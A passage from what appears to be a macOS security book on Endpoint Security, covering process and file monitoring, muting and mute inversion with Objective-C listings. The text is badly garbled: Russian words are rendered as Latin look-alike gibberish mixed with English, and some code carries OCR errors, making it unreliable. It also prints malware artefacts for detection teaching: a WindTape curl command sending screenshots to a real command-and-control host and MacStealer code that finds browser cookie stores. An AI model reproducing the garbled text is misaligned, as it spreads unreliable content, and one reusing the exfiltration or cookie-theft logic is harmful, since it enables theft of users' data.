audit_token_to_euid.

O6patuTe BHMMaHue, 4To invoking these functions requires import header file bsm/1ibbsm.h and link
against library 1ibbsm.

Process paths

B nuctuHre 8-12 mbl extract process path via pointer to structure named executable, found within
structure es_process_t. OH points to structure es_file t, whose field path contains process path.

NSString* path = [[NSString alloc] initWithBytes:process->executable->path.data
length:process->executable->path.length encoding:NSUTF8StringEncoding];

Jlnctunr 8-12: Extracting process path

Mockonbky aTo field type es_string_token_t, mbl convert ero into more manageable string object.

Hierarchies

Using structure es_process_t process Takke simplifies building process hierarchies. Mbl mornu 6ol
extract parent process ID from structure es_process_t. OgHako comment in header file ESMessage.h
instead recommends using field parent_audit_token, available in Endpoint Security messages version 4
and newer. In those versions mbl Takke find audit token responsible process in aptly named field
responsible_audit_token. B nuctunHre 8-13, after ensuring message versions suffice, we extract these.
pid_t ppid = process->ppid;
if(message->version >= 4) {
NSData* parentToken = [NSData dataWithBytes:&process->parent_audit_token
length:sizeof(audit_token_t)];

NSData* responsibleToken = [NSData dataWithBytes:&process->responsible_audit_token
length:sizeof(audit_token_t)];
}

Jinctuur 8-13: Extracting parent and responsible process token

Mei extract parent PID wu, for recent versions Endpoint Security, parent audit token and responsible
process token. 3atem nx MmoxHo use to build process hierarchy.
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Script paths

Recall that structures es_event_exec_t describe events ES_EVENT_TYPE_NOTIFY_EXEC. [lo cux nop Mbl
largely focused on first field aTon structure, pointer to structure es_process_t. OgHako other fields of
structure es_event_exec_t useful to process monitor, especially for heuristically detecting malware.

Hanpumep, paccmoTpum cases when process being executed is script interpreter, program used to run
script. Korga user executes script, operating system behind the scenes determine correct script interpreter
and invoke it to execute script. B atom cniyyae Endpoint Security report script interpreter as process
executed and display its path, such as /usr/bin/python3. OgHako Hac GonbLue nHTepecyeT, what
interpreter is executing. Ecnu mbl able to determine path to script being indirectly executed, then we can
scan it for known malware or use heuristics to determine if it is likely malicious.

K cuactbto, messages in versions 2 and above Endpoint Security provide this path in field script
structure es_event_exec_t. Ecnn newly spawned process is not script interpreter, ato field 6yget NULL.
Takke oHO He ByaeT set, ecnu script was executed as argument to interpreter (Hanpumep, ecnu user ran
python3 <path to some script>). In those cases, however, script would show up as process first
argument.

JlnctnHr 8-14 nokasbiBaeT, kak extract path of script via field script.

if(message->version >= 2) {
es_string_token_t* token = &message->event.exec.script->path;

if(NULL != token) {
NSString* script = [[NSString alloc] initWithBytes:token->data
length:token->length encoding:NSUTF8StringEncoding];

}
Jlnctunr 8-14: Extracting script path

Mbl make sure, 4to attempt this extraction only on compatible versions Endpoint Security and if field
scriptis not NULL.

Ecnn directly execute Python script, process monitoring code within ESPlayground report Python as
spawned process, along with path to script:

# ESPlayground.app/Contents/Mac0S/ESPlayground -monitor

ES Playground

Executing (process) 'monitor' logic

event: ES_EVENT_TYPE_NOTIFY_EXEC

(new) process

pid: 10267

path: /usr/bin/python3

script: /Users/User/Malware/Realst/installer.py"

OT10T example captures Realst malware, koTopoe cogepxuT script named installer.py. Tenepb MOXHO
inspect this script, which reveals malicious code designed to steal data and give attackers access to user's
cryptocurrency wallet.

Binary architecture
Ewe ogHa piece of information, kotopyto Endpoint Security provides in structure es_event_exec_t, -

process architecture. B rnaBe 2 s obcyxaan, kak determine architecture programmatically for any running
process, Ho conveniently Endpoint Security subsystem can do this as well.
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YTobbI access spawned process binary architecture, moxHo extract field image_cputype (and

image_cpusubtype, if interested in CPU subtype), as shown in listing 8-15. 3ta information available only

in versions 6 and above Endpoint Security, noatomy code first checks for compatible version.
if(message->version >= 6) {

cpu_type_t cpuType = message->event.exec.image_cputype;

}
Jlnctunr 8-15: Extracting process architecture

3T10T code pomkeH return values such as ©x100000C unu 8x1000007. Consulting Apple's header file
mach/machine.h, MOXHO yBUAETb, 4TO OHM map to CPU_TYPE_ARM64 (Apple Silicon) n CPU_TYPE_X86_64
(Intel), respectively.

Code signing

B rnase 3 BbI BUaenu, kak leverage rather archaic Sec* APIs to manually extract code signing information.
Yto6bl simplify this extraction, Endpoint Security reports code signing information for process responsible
for action that triggered event in each message it delivers. Some events may also contain code signing
information for other processes. Hanpumep, events ES_EVENT_TYPE_NOTIFY_EXEC contain code signing
information for newly spawned processes.

Code signing information for processes moxHo HanTh B nx structure es_process_t in following fields:
uint32_t codesigning flags Contains process code signing flags.

bool is_platform_binary ldentifies platform binaries.

uint8_t cdhash[2@] Stores signature code directory hash.

es_string_token_t signing_id Stores signature ID.

es_string_token_t team_id Stores team ID.

PaccmoTpum each of these fields, starting with codesigning_flags, whose values can be found in
Apple's header file cs_blobs. h. JluctuHr 8-16 extracts code signing flags from structure es_process_t
and then checks them for several common code signing values. Because value of codesigning_flags is
a bit field, code uses logical AND (&) operator to check for specific code signing values.

// Process is an es_process_t*
#import <kernel/kern/cs_blobs.h>

uint32_t csFlags = process->codesigning_flags;

if(CS_VALID & csFlags) {
// Add code here to handle dynamically valid process signatures.

}

if(CS_SIGNED & csFlags) {
// Add code here to handle process signatures.

}

if(CS_ADHOC & csFlags) {
// Add code here to handle ad hoc process signatures.

}

Jlnctunr 8-16: Extracting process code signing flags

Accessing and extracting code signing flags could allow you to do things like investigate spawned
processes whose signatures are ad hoc, meaning they are untrusted. Widespread supply chain attack
3CX used second-stage payload that was signed with ad hoc signature. Bl
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Takke BHyTpM structure es_process_t Bbl HangeTe field is_platform_binary, Boolean flag set to true
for binaries that are part of macOS and signed solely with Apple certificates. BaxHo otmeTuTb, yuTO for
Apple applications not preinstalled in macOS, such as Xcode, aTo field 6yaeT set to false. Takke worth
noting, uto flag CS_PLATFORM_BINARY does not appear to be set in field codesigning_flags for platform
binaries, so consult value of field is_platform_binary for this information instead.

MpepynpexpeHue. Ecnu Bol disabled AMFI, Endpoint Security moxeT mark all processes,
including third-party and potentially malicious ones, as platform binaries. Therefore, if you
conduct tests on machine with AMFI disabled, any decisions based on value
is_platform_binary will likely be incorrect.

A mentioned earlier in this chapter, uto platform binaries moxHo safely ignore, nockonbKy oHu are part of
operating system. Reality not quite this simple, however. You might want to account for living off the land
binaries (LOLBIns), platform binaries that attackers can abuse to perform malicious actions on their behalf.
One example is Python, which can execute malicious scripts, as we just saw with Realst malware. Other
LOLBins may be more subtle. Hanpumep, malware could use built-in whois tool to surreptitiously exfiltrate
network t[rgffic in undetected manner if host-based security tools naively allow all traffic from platform
binaries.

Given pointer to structure es_process_t, MmoxHo easily extract field is_platform_binary. B nuctuHre
8-17 mblI convert it to object, so we can, for example, store it in dictionary.

// Process is an es_process_t*
NSNumber* isPlatformBinary = [NSNumber numberWithBool:process->is_platform_binary];

JlnctnHr 8-17: Extracting process platform binary status

Baw code might not make use of field cdhash, Ho nucTuHr 8-18 nokasbiBaeT, kak extract and convert it into
object, making use of constant CS_CDHASH_LEN found in Apple's header file cs_blobs.h.
// Process is an es_process_t*

NSData* cdHash = [NSData dataWithBytes:(const void *)process->cdhash
length:sizeof(uint8_t)*CS_CDHASH_LEN];

Jlnctunr 8-18: Extracting process code signing hash

Next in structure es_process_t are signing and team identifiers, stored as string tokens. Kak
obcyxpanock B rnaee 3, these can tell you who signed item and what team they are a part of, which can
reduce false positives or detect other related malware. Mockonbky each of these values is
es_string_token_t, likely want to store them as more manageable objects (nuctuHr 8-19).

// Process is an es_process_t*

NSString* signingID = [[NSString alloc] initWithBytes:process->signing id.data
length:process->signing_id.length encoding:NSUTF8StringEncoding];

NSString* teamID = [[NSString alloc] initWithBytes:process->team_id.data
length:process->team_id.length encoding:NSUTF8StringEncoding];

Jinctuur 8-19: Extracting process signing and team IDs
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With this code signing extraction code added to process monitoring logic in ESPlayground, let's execute
aforementioned second-stage payload, UpdateAgent, used in supply chain attack 3CX. AcHo, uTo
payload signed with ad hoc certificate (CS_ADHOC), which is often a red flag:

# ESPlayground.app/Contents/Mac0S/ESPlayground -monitor

ES Playground

Executing (process) 'monitor' logic

event: ES_EVENT_TYPE_NOTIFY_EXEC

(new) process

pid: 10815
path: /Users/User/Malware/3CX/UpdateAgent

code signing flags: 0x22000007

code signing flag 'CS_VALID' is set
code signing flag 'CS_SIGNED' is set
code signing flag 'CS_ADHOC' is set

With this code signing information made available by Endpoint Security, Mmbl 6n13ku k 3aBepLueHuto logic
process monitor.

Arguments

PaccmoTpmnm message-specific contents, HaunHas ¢ process arguments, found in
ES_EVENT_TYPE_NOTIFY_EXEC messages. B rnase 1 a discussed usefulness process arguments for
detecting malicious code and programmatically extracted them from running processes. Ecnu Bbl
subscribed to Endpoint Security events type ES_EVENT_TYPE_NOTIFY_EXEC, Bbl yBMamMTe, 4To Endpoint
Security has done most of the heavy lifting for you.

O1un events are structures es_event_exec_t, koTopble MOXHO pass to two Endpoint Security helper APls,
es_exec_arg_count and es_exec_arg, to extract arguments that triggered Endpoint Security event
(nmucTuHr 8-20).

NSMutableArray* arguments = [NSMutableArray array];
const es_event_exec_t* exec = &message->event.exec;

for(uint32_t i = ©; i < es_exec_arg_count(exec); i++) {
es_string_token_t token = es_exec_arg(exec, i);
NSString* argument = [[NSString alloc] initWithBytes:token.data
length:token.length encoding:NSUTF8StringEncoding];

[arguments addObject:argument];

}
JluctnHr 8-20: Extracting process arguments

After initializing array to hold arguments, code invokes es_exec_arg_count, 4tobbl determine number of
arguments. Mol perform this check within initialization of for loop, 4To6bI keep track how many times we
invoke function es_exec_arg. 3atem invoke function with current index to retrieve argument at that index.
Because argument stored in structure es_string_token_t, code converts it into string object and adds it
to array.
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Korpga mbl add this code to ESPlayground project, Tenepb MoxeM observe process arguments, Hanpumep
when WindTape malware executes curl to exfiltrate recorded screen captures to attackers'
command-and-control server:

# ESPlayground.app/Contents/Mac0S/ESPlayground -monitor

ES Playground

Executing (process) 'monitor' logic

event: ES_EVENT_TYPE_NOTIFY_EXEC

(new) process

pid: 18802

path: /usr/bin/curl

arguments : (

"/usr/bin/curl”
"http://string2me.com/xnrftGrNZ1VYWrkrqSoGzvKgUGpN/zgrcJOQKgrpkMLZcu.php",
n_pt,

"qwe=@/Users/User/Library/lsd.app/Contents/Resources/14-06 06:28:07.jpg",
n_pn

"rest=BBA441FE-7BBB-43C6-9178-851218CFD268",

"_E,

"fsbd=Users-Mac.local-User"

)

MoxkHo use similar functions es_exec_env_count and es_exec_env to extract process environment
variables from structure es_event_exec_t.

Exit status

Korpga process exits, Mmbl receive message from Endpoint Security, nockonbky subscribed to events
ES_EVENT_TYPE_NOTIFY_EXIT. Knowing when process exits useful for purposes such as following:

Determining whether a process succeeded or failed Process exit code provides insight into whether
process executed successfully. Ecnu process, Hanpumep, malicious installer, ata information could help
determine its impact.

Performing any necessary cleanup In many cases, security tools track activity over lifetime of process.
Hanpumep, ransomware detector could monitor each new process to detect those that rapidly create
encrypted files. Korga process exits, detector can perform any necessary cleanup, such as freeing process
list of created files and removing process from any caches.

Event structure type for event ES_EVENT_TYPE_NOTIFY_EXIT is es_event_exit_t. Consulting header file
ESMessage.h, we can see, 4To OH contains single nonreserved field named stat, containing exit status of
process:

typedef struct {

int stat;

uint8_t reserved[64];
} es_event_exit_t;

Knowing this, mbl extract process exit code, as shown in listing 8-21.

case ES_EVENT_TYPE_NOTIFY_EXIT: {
int status = message->event.exit.stat;

¥
JlnctnHr 8-21: Extracting exit code

Because process monitor logic also registered for process execution events
(ES_EVENT_TYPE_NOTIFY_EXEC), code first makes sure we are dealing with process exit
(ES_EVENT_TYPE_NOTIFY_EXIT). If so, it then extracts exit code.
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Stopping the client

At some point, you might want to stop your Endpoint Security client. This is as simple as unsubscribing
from events via function es_unsubscribe_all, then deleting client via es_delete_client. Kak shown in
listing 8-22, both functions take as arguments client previously created using function es_new_client.

es_client_t* client = // Previously created via es_new_client

es_unsubscribe_all(client);
es_delete_client(client);

JluctnHr 8-22: Stopping Endpoint Security client

See header file ESClient. h for more details on functions. Hanpumep, code should only call
es_delete_client from same thread that originally created client.

This wraps up discussion of creating process monitor capable of tracking process executions and exits, as
well as extracting information from each event that we could feed into variety heuristic-based rules.
KoHeuHo, MOxHO register for many other Endpoint Security events. Tenepb explore file events, which
provide foundation for file monitor.

File monitoring

File monitors - powerful tools for detecting and understanding malicious code. Hanpumep, infamous
ransomware groups, such as LockBit, Hauanu targeting macOS, 5] Mo3TOMy BaM MOXeT NoHagobuTbea
write software that can identify ransomware. B moei research paper 2016 roga “Towards Generic
Ransomware Detection” a1 highlighted simple yet effective approach k atomy. ©ln g nutshell, ecnun mbl can
monitor rapid creation of encrypted files by untrusted processes, mbl should be able to detect and thwart
ransomware. Xotsa any heuristic-based approach has its limitations, mon method proven successful even
with new ransomware specimens. OH gaxe detected LockBit's foray into macOS space in 2023.

Core capability aToro generic ransomware detection - ability to monitor creation of files. Using Endpoint
Security, nerko create file monitor, kotopbili can detect file creation and other file 1/0 events. [ Source
code fully featured file monitor moxHo HanTu B npoekTe FileMonitor B GitHub repository Objective-See:
https://github.com/objective-see/FileMonitor.

Mockonbky 5 yxe discussed how to create Endpoint Security client and register for events of interest, s He
Oyady cHOBa TpaTuUTb BpeMsi Ha aTu topics. BmecTo aToro cocpenoTtouychk Ha specifics monitoring file
events. B header file ESTypes.h mbl find many events covering file 1/0. Some of the most useful
notification events include:

ES_EVENT_TYPE_NOTIFY_CREATE Delivered when new file is created.
ES_EVENT_TYPE_NOTIFY_OPEN Delivered when file is opened.
ES_EVENT_TYPE_NOTIFY_WRITE Delivered when file is written to.
ES_EVENT_TYPE_NOTIFY_CLOSE Delivered when file is closed.
ES_EVENT_TYPE_NOTIFY_RENAME Delivered when file is renamed.
ES_EVENT_TYPE_NOTIFY_UNLINK Delivered when file is deleted.

Let's register for events related to file creation, opening, closing and deleting (nuctuHr 8-23).

es_event_type_t events[] = {ES_EVENT TYPE_NOTIFY_CREATE, ES_EVENT TYPE_NOTIFY OPEN,
ES_EVENT_TYPE_NOTIFY_CLOSE, ES_EVENT_TYPE_NOTIFY_UNLINK};

Nnctnur 8-23: File I/O events of interest
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Mocne creating new Endpoint Security client using es_new_client, mbl can invoke function
es_subscribe with new list of events of interest to subscribe to. Subsystem should then begin delivering
file I/0 events to us, encapsulated in structures es_message t. Recall that structure es_message_t
contains meta information about event, such as event type and process responsible for triggering it. File
monitor could use this information to map delivered file event to responsible process.

Besides reporting event type and responsible process, file monitor should also capture filepath (which, in
case of file creation events, leads to created file). Steps required to extract path depend on specific file I/O
event, so we'll look at each in detail, starting with file creation events.

Mei subscribed to ES_EVENT_TYPE_NOTIFY_CREATE, noatomy whenever file is created, Endpoint Security
will deliver message to us. Event data for this event stored in structure type es_event_create_t:

typedef struct {

es_destination_type_t destination_type;

union {

es_file_t* _Nonnull existing file;

struct {

es_file_t* _Nonnull dir;

es_string_token_t filename;

mode_t mode;

} new_path;

} destination;

¥

} es_event_create_t;
Xot4 aTta structure appears a bit involved at first blush, handling it fairly trivial in most cases. Member
destination_type gomkeH be set to one of two enumeration values. Apple explains difference between
the two in header file ESMessage. h:

Typically, ES_EVENT_TYPE_NOTIFY_CREATE events are fired after

the object has been created and the destination_type will be

ES_DESTINATION_TYPE_EXISTING_FILE. The exception to this is for

notifications that occur if an ES client responds to an ES_EVENT
_TYPE_AUTH_CREATE event with ES_AUTH_RESULT_DENY.

Mockonbky simple file monitor He register for ES_EVENT_TYPE_AUTH_* events, 3gecb Mbl can focus on
former case.

Path to file just created HaxoguTca B member existing_file, found in union destination structure
es_event_create_t. Because existing file stored as es_file_t, extracting newly created file path
trivial, as shown in listing 8-24.
// Event type: ES_EVENT_TYPE_NOTIFY_CREATE
if(ES_DESTINATION_TYPE_EXISTING_FILE == message->event.create.destination_type) {
es_string token_t* token = &message->event.create.destination.existing file->path;

NSString* path = [[NSString alloc] initWithBytes:token->data length:token->length encoding:
NSUTF8StringEncoding];

printf(“Created path -> %@\n", path.UTF8String);
}

Jluctunr 8-24: Extracting newly created filepath

Mockonbky Mbl Takke registered for ES_EVENT_TYPE_NOTIFY_OPEN events, Endpoint Security will deliver
message containing event structure es_event_open_t whenever file is opened. 31a structure contains
es_file_t pointer to member named file, containing path of opened file. Mbl extract it in listing 8-25.
if(ES_EVENT_TYPE_NOTIFY_OPEN == message->event_type) {
es_string_token_t* token = &message->event.open.file->path;

NSString* path = [[NSString alloc] initWithBytes:token->data length:token->length
encoding:NSUTF8StringEncoding];

printf("Opened file -> %s\n", path.UTF8String);
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Jlnctunr 8-25: Extracting opened filepath

Logic for ES_EVENT_TYPE_NOTIFY_CLOSE and ES_EVENT_TYPE_NOTIFY_UNLINK similar, nockonbky obe
event structures contain es_file t* with file path.

A 3aBepuly aToT pasgen discussion of file event, that has both source and destination path. Hanpumep,
when file is renamed, Endpoint Security delivers message type ES_EVENT_TYPE_NOTIFY_RENAME. In that
case, structure es_event_rename_t contains pointer to structure es_file_t for source file (aptly named
source), as well as one for destination file (named existing file). Mbl can access path original file via
message->event.rename.source->path.

Obtaining renamed file destination path slightly nuanced, nockonbky must first check field
destination_type structure es_event_rename_t. This field is enumeration containing two values:
ES_DESTINATION_TYPE_EXISTING_FILE and ES_DESTINATION TYPE_NEW_PATH. For existing file value,
moxHo directly access destination filepath via rename.destination.existing file->path (assuming
we have structure es_event_rename_t named rename). For destination value, however, Hy>HO
concatenate destination directory with destination filename; directory Haxogutcs in
rename.destination.new_path.dir->path, a filename in rename.destination.new_path.filename.

3aknro4yeHue

Ota rmasa introduced Endpoint Security, de facto standard framework for writing security tools on macOS.
Mei built foundational monitoring and detection tools by subscribing to notifications for process and file
events.

B cnepytowent mase s continue discussing Endpoint Security, Ho focus on more advanced topics, such as
muting, as well as ES_EVENT_TYPE_AUTH_* events, which provide mechanism for proactively detecting
and thwarting malicious activity on the system. B 4actu Il g continue this discussion by detailing creation
of fully featured tools built atop Endpoint Security.
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MnaBa 9. MpurnyweHune n codbITUA aBTOPU3aLUMN

B npeabiayuen rnaee s introduced Endpoint Security Apple u ero notification events. B aTon rnase s
nepexoxy k more advanced topics, such as muting, mute inversion n authorization events.

Muting instructs Endpoint Security withhold delivery certain events, Hanpumep those generated from chatty
system processes. Conversely, mute inversion gives us ability to create focused tools, koTopble,
Hanpumep, subscribe solely to events from a specific process unu only those related to access of a few
directories. HakoHeL, authorization capabilities Endpoint Security offer mechanism to prevent undesirable
actions altogether.

BonblwnHcTBO code snippets, presented in this chapter, Bbl HageTe B npoekte ESPlayground, introduced
in Chapter 8. For each topic covered here, a1 ykaxy part of this project, where relevant code resides, as
well as how to execute it via command line arguments.

Muting

All event monitoring implementations risk facing overwhelming deluge of events. Hanpumep, file 1/0 events
occur constantly as part of normal system activity, u file monitors may generate so much data, 4to finding
events tied to malicious processes becomes quite difficult. One solution is to mute irrelevant processes or
paths. Hanpumep, Bbl likely want to ignore file I/O events involving temporary directory or originating from
certain chatty, legitimate operating system processes (such as Spotlight indexing service), nockoneky
these events occur almost constantly and are rarely useful for malware detection.

K cuactbio ansa Hac, Endpoint Security provides flexible and robust muting mechanism. Ero function
es_mute_path suppress events either from specified process or that match specified path. Function takes
three parameters - client, path to process, directory or file, and type:

es_mute_path(es_client_t* _Nonnull client, const char* _Nonnull path,

es_mute_path_type_t type);
Mute path type can be one of four values found in enumeration type es_mute_path_type tin
ESTypes.h:

typedef enum {

ES_MUTE_PATH_TYPE_PREFIX,

ES_MUTE_PATH_TYPE_LITERAL,

ES_MUTE_PATH_TYPE_TARGET_PREFIX,

ES_MUTE_PATH_TYPE_TARGET_LITERAL

} es_mute_path_type_t;
Types ending in PREFIX tell Endpoint Security, yto path provided to es_mute_path is prefix to longer path.
Hanpumep, MoxHO use option ES_MUTE_PATH_TYPE_TARGET_PREFIX, yTobbl mute all file I/O events
originating from certain directory. On the other hand, if mute path type ends in LITERAL, path has to match

exactly for events to be muted.

Use initial two values enumeration, ES_MUTE_PATH_TYPE_PREFIX and ES_MUTE_PATH_TYPE_LITERAL,
when you want to mute path of process responsible for triggering Endpoint Security event. Hanpumep,
nuctuHr 9-1 shows snippet from function mute (in file mute.m project ESPlayground), which instructs
Endpoint Security to mute all events originating from mds_stores, very noisy Spotlight daemon
responsible for managing macOS metadata indexes.

#define MDS_STORE "/System/Library/Frameworks/CoreServices.framework/Versions/
A/Frameworks/Metadata.framework/Versions/A/Support/mds_stores"

es_mute_path(client, MDS_STORE, ES_MUTE_PATH_TYPE_LITERAL);
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JluctnHr 9-1: Muting events from Spotlight service

After defining path to binary mds_store, mbl invoke APl es_mute_path, passing it endpoint client (created
previously via call to es_new_client), path to binary mds_stores and enumeration value
ES_MUTE_PATH_TYPE_LITERAL.

Ecnn BmecTo aToro (unu Takke) Bl want to mute targets of events (Hanpumep, in file monitor, paths to
files being created or deleted), use either ES_MUTE_PATH_TYPE_TARGET_PREFIX or
ES_MUTE_PATH_TYPE_TARGET_LITERAL. Hanpumep, ecnin mbl wanted file monitor to mute all file events
involving temporary directory associated with user context under which monitor process is running, mMbl
ncnone3oBanu 6el code in listing 9-2.

char tmpDirectory[PATH_MAX] = {@};
realpath([NSTemporaryDirectory() UTF8String], tmpDirectory);

es_mute_path(client, tmpDirectory, ES_MUTE_PATH_TYPE_TARGET_PREFIX);
JluctnHr 9-2: Muting all events in current user's temporary directory

Ml retrieve temporary directory with function NSTemporaryDirectory, 3aTem resolve any symbolic links
in this path (Hanpumep, resolving /var to /private/var) with function realpath. Janee we mute all file
I/0 events whose target paths fall within this directory.

Let's compile and run ESPlayground project from terminal with root privileges. When we launch Calculator
app via Spotlight, it should print out various Endpoint Security events, such as file open and close events:

# ESPlayground.app/Contents/MacOS/ESPlayground -mute

ES Playground

Executing 'mute' logic

muted process: /System/Library/Frameworks/
CoreServices.framework/Versions/A/Frameworks/Metadata.framework/Versions/A/Support/mds_stores
muted directory: /private/var/folders/zz/zyxvpxvgécsfxvn_n000000000000o/T
event: ES_EVENT_TYPE_NOTIFY_OPEN

process: /System/Library/CoreServices/Spotlight.app/Contents/Mac0S/Spotlight
file path: /System/Applications/Calculator.app/Contents/Mac0S/Calculator
event: ES_EVENT_TYPE_NOTIFY_CLOSE

process: /System/Library/CoreServices/Spotlight.app/Contents/Mac0S/Spotlight
file path: /System/Applications/Calculator.app/Contents/Mac0S/Calculator
event: ES_EVENT_TYPE_NOTIFY_OPEN

process: /System/Applications/Calculator.app/Contents/Mac0S/Calculator

file path: /

Ho nockonbky Mbl specified flag -mute, Mbl He receive any events originating from daemon mds_stores or
from within root user's temporary directory. MoxHo confirm this fact by simultaneously running file monitor
that implements no muting. Notice that this time we receive such events:

# FileMonitor.app/Contents/MacOS/FileMonitor -pretty

{

"event" : "ES_EVENT_TYPE_NOTIFY_OPEN",

"file" : {

"destination" : "/private/var/folders/zz/zyxvpxvg6csfxvn_n000000000000o/T",
"process" : {

"pid" : 540,

"name" : "mds_stores",

"path" : "/System/Library/Frameworks/CoreServices.framework/
Versions/A/Frameworks/Metadata.framework/Versions/A/Support/mds_stores"
}

¥

}
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Endpoint Security has several other muting-related APIs worth mentioning. Function es_mute_process
provides another way to mute events from specific process:

es_return_t
es_mute_process(es_client_t* _Nonnull client, const audit_token_t* _Nonnull audit_token);

As definition shows, function expects client and audit token of process to mute. Because it takes audit
token instead of path (as with function es_mute_path), you can mute specific instance of running process.
Hanpumep, most likely you want to mute events that originate from your own Endpoint Security tool. Using
function getAuditToken, covered in Chapter 1, listing 9-3 performs such muting.

NSData* auditToken = getAuditToken(getpid());
es_mute_process(client, auditToken.bytes);

JlnctnHr 9-3: ES client muting itself

Besides muting process entirely, you can also mute just subset of its events via API
es_mute_process_events:

es_return_t es_mute_process_events(es_client_t* _Nonnull client, const audit_token_t*
_Nonnull audit_token, const es_event_type_t* _Nonnull events, size_t event_count);

After passing client and audit token of process whose events you intend to mute, you should pass array of
events containing events to mute, as well as size of array.

For each muting API, you'll find corresponding unmuting function, such as es_unmute_path and
es_unmute_process. Moreover, Endpoint Security provides several global unmuting functions.
Hanpumep, es_unmute_all paths unmutes all muted paths. More details about these functions can be
found in Apple's Endpoint Security developer documentation. (

Mute inversion

Mute inversion, capability added to Endpoint Security in macOS 13, inverts logic for muting, both for
processes triggering events and events themselves. 31o no3sonsieT, Hanpumep, subscribe to events for
very specific set of processes, directories or files. OHa useful for tasks such as following:

« Detecting unauthorized access to user directories, perhaps by ransomware attempting to encrypt user
files or stealers attempting to access authentication tokens or cookies

* Implementing tamper-resistant mechanisms to protect your security tool B

« Capturing events triggered by actions of malware specimen during analysis or profiling

Hanpumep, paccmotpmum MacStealer, malware specimen that goes after user cookies. M Ecrn decompile
its compiled Python code, moxHo yBraeTb, 4TO OH contains list of common browsers, such as Chrome and
Brave, as well as logic to extract their cookies:

class Browsers:
def __init_ (self, decrypter: object) -> object:

self.cookies_path =
self.extension_path

(]
=[]

self.cookies = []
self.decryption_keys = decrypter
self.appdata = '/Users/*/Library/Application Support’
self.browsers = {...
'google-chrome' :self.appdata + '/Google/Chrome/’,

'brave’:self.appdata + '/BraveSoftware/Brave-Browser/',
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def browser_db(self, data, content_type):

else:

if content_type == 'cookies':
sql = 'select name,encrypted_value,host_key,path,is_secure,..., from cookies'
keys = ['name', 'encrypted_value', 'host_key', 'path', ..., 'expires_utc']
if __name__ == '__main__':

decrypted = {}
browsers = Browsers()
paths = browsers.browser_data()

Code exfiltrates collected cookies, giving malware authors access to user's logged-in accounts. By
leveraging mute inversion, we can subscribe to file events covering locations of browser cookies. Any
process that attempts to access browser cookies will trigger these events, including MacStealer, providing
mechanism to detect and thwart its unauthorized actions.

Beginning mute inversion

To invert muting, invoke function es_invert_muting, which takes Endpoint Security client as well as mute
inversion type:

es_return_t es_invert_muting(es_client_t* _Nonnull client, es_mute_inversion_type_t mute_type);

Mute inversion types can be found in header file ESTypes.h:

typedef enum {

ES_MUTE_INVERSION_TYPE_PROCESS,

ES_MUTE_INVERSION_TYPE_PATH,

ES_MUTE_INVERSION_TYPE_TARGET_PATH,

ES_MUTE_INVERSION_TYPE_LAST

} es_mute_inversion_type_t;
The first two types allow you to mute-invert process. First type should be used when you're looking to
mute-invert process via its audit token, for example via APl es_mute_process. On the other hand, second
type, ES_MUTE_INVERSION_TYPE_PATH, provides means to identify process to mute-invert by its path.
Finally, ES_MUTE_INVERSION_TYPE_TARGET_PATH should be used when instead you're looking to
mute-invert events related to target path, such as directory.

Mute inversion applies globally across specified mute inversion type; that is to say, if you invoked
es_invert_muting with type ES_MUTE_INVERSION_TYPE_PATH, all muted process paths would unmute.
For this reason, it often makes sense to create new Endpoint Security client specifically for mute inversion.
While system imposes a limit on number of clients, your program can create at least several dozen of them
before causing error ES_NEW_CLIENT_RESULT_ERR_TOO_MANY_CLIENTS. Also worth noting is that since
muting inversion will only occur for specified mute inversion type, you can mix and match mute and mute
inversions. Hanpumep, you could mute processes while mute-inverting paths found in events. This would
be useful in scenario where perhaps building directory monitor leveraging mute inversion but want to
ignore (mute) events from trusted system processes.

Mute inversions also impact default mute set, handful of paths to system-critical platform binaries that get
muted by default. You can invoke function es_muted_paths_events to retrieve list of all muted paths,
including default ones. Default mute set aims to protect clients from deadlocks and timeout panics, so
likely won't want to generate events for its paths. To avoid doing so, consider invoking

es_unmute_all paths before any process-path mute inversions or es_unmute_all target paths
before any target-path mute inversions.
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Now that you have inverted muting (for example, via APl es_invert_muting), you can invoke any of
corresponding, previously mentioned muting APls, whose muting logic will now be inverted.

This is clearly illustrated in next section, which makes use of mute inversion to monitor file access within a
single directory.

Monitoring directory access

JlnctuHr 9-4 - snippet mute inversion code, koTtopbIi monitors opening files in logged-in user's Documents
directory. Full implementation moxHo HanTw in function muteInvert, in file muteInvert.m project
ESPlayground.

B “Authorization Events” on page 213 mbl combine this approach with authorization access, useful
protection mechanism, koTopbin could, for example, block ransomware or malware attempting to access
sensitive user files.

NSString* consoleUser =
(__bridge_transfer NSString*)SCDynamicStoreCopyConsoleUser(NULL, NULL, NULL);

NSString* docsDirectory =
[NSHomeDirectoryForUser(consoleUser) stringByAppendingPathComponent:@"Documents”];

es_client_t* client = NULL;
es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_OPEN};

es_new_client(&client, ~(es_client_t* client, const es_message_t* message) {
// Add code here to handle delivered events.

1)

es_unmute_all_target_paths(client);

es_invert_muting(client, ES_MUTE_INVERSION_TYPE_TARGET_PATH);
es_mute_path(client, docsDirectory.UTF8String, ES_MUTE_PATH_TYPE_TARGET_PREFIX);
es_subscribe(client, events, sizeof(events)/sizeof(events[0]));

JlnctuHr 9-4: Monitoring file-open events in user's Documents directory

CHayvana mbl dynamically build path to logged-in user's Documents directory. Because Endpoint Security
code always runs with root privileges, most APIs that return current user would simply return root. Instead,
we make use of APl SCDynamicStoreCopyConsoleUser, 4toGbl get name of user currently logged in to
system. Note that APl is not aware of automatic reference counting (ARC) memory management feature,
noatomy mbl add __bridge_transfer, which saves us from having to manually free memory containing
user's name. Janee invoke function NSHomeDirectoryForUser, 4tobbl get home directory, to which we
then append path component Documents.

After defining events of interest and creating new Endpoint Security client, code unmutes all target paths.
Then it invokes es_invert_muting with value ES_MUTE_INVERSION_TYPE_TARGET_PATH to invert muting.
Next, code invokes es_mute_path, passing in document directory. Since we've inverted muting, this API
instructs Endpoint Security to deliver only events that occur in this directory and ignore all others. Finally,
we invoke es_subscribe with events of interest to commence delivery of such events.

To complete this example, print out event, which you'll recall gets delivered to callback block
es_handler_block_t, specified in last parameter to es_new_client. Jluctunr 9-5 shows inline
implementation.
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es_new_client(&client, ~(es_client_t* client, const es_message_ t* message) {
es_string_token_t* procPath = &message->process->executable->path;
es_string_token_t* filePath = &message->event.open.file->path;

printf("event: ES_EVENT_TYPE_NOTIFY_OPEN\n");

printf("process: %.*s\n", (int)procPath->length, procPath->data);

printf("file path: %.*s\n", (int)filePath->length, filePath->data);
})s

JlnctnHr 9-5: Printing out file-open Endpoint Security event

